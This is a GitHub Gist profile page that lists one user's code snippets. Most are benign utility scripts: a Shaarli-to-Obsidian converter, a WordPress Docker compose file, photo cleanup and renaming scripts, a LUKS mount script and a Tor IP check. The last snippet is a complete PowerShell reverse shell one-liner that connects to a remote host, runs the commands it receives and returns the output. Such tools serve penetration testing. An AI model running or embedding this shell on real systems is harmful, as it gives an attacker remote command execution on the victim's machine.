Skip to content

Instantly share code, notes, and snippets.

View atao's full-sized avatar

ATAO atao

  • Share-Link (FR)
  • ::1
View GitHub Profile
@atao
atao / shaarli_to_obsidian.py
Created August 18, 2026 14:20
Script Python pour migrer un export HTML Shaarli vers Obsidian. Convertit vos favoris et notes textuelles en fichiers Markdown individuels, avec métadonnées YAML (Frontmatter) et conservation exacte des blocs de code multi-lignes.
import os
import re
from datetime import datetime
def nettoyer_nom_fichier(titre):
"""Nettoie le titre pour le rendre compatible avec les systèmes de fichiers."""
nettoye = re.sub(r'[\\/*?:"<>|]', "", titre)
return nettoye.strip()[:100] or "Lien_Sans_Titre"
@atao
atao / compose.yml
Last active May 21, 2026 13:52
Wordpress in Docker
services:
wordpress:
image: wordpress
restart: always
ports:
- 8080:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: user
WORDPRESS_DB_PASSWORD: pass
@atao
atao / livePicturesDelete.ps1
Last active November 3, 2025 19:03
The purpose of this script is to delete the .MOV files associated with live photos when importing images from an iPhone to Windows using the Photos app. Specifically, it targets .MOV files that have matching .HEIC files, ensuring only the .HEIC files remain in the folder after the script is executed.
# Define the folder path
$folderPath = $PSScriptRoot
# Get all HEIC files in the folder
$heicFiles = Get-ChildItem -Path $folderPath -Filter *.HEIC
# Counter for deleted files
$deletedCount = 0
# Loop through each HEIC file
@atao
atao / ddluks.sh
Created September 25, 2024 11:02
Mount and dismount an encrypted disk with LUKS.
#!/bin/bash
# Variables
DEVICE="/dev/sda" # Remplacez par le chemin de votre disque chiffré
MOUNT_POINT="/mnt/DD" # Remplacez par le point de montage souhaité
CRYPT_NAME="DD" # Nom du volume chiffré
# Fonction pour monter le disque
mount_disk() {
# Vérifier si le point de montage existe, sinon le créer
@atao
atao / rename.sh
Created September 23, 2024 19:02
Rename my Spypoint pictures
#!/bin/bash
# Check if a directory has been provided as an argument
if [ "$#" -ne 1 ]; then
echo "Usage: $0 path_to_directory"
exit 1
fi
directory="$1"
@atao
atao / check_tor.py
Last active February 6, 2024 21:08
Check Tor exit node IP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
from lxml import html
proxy_url = "socks5://localhost:9050"
proxies = {"http": proxy_url, "https": proxy_url}
r = requests.Session()
#!/bin/bash
if ! command -v toilet -h &> /dev/null
then
echo "toilet could not be found"
exit
fi
if (( $# == 0 )); then
echo "No parameters provided"
@atao
atao / powershell_reverse_shell.ps1
Created April 7, 2020 21:46 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()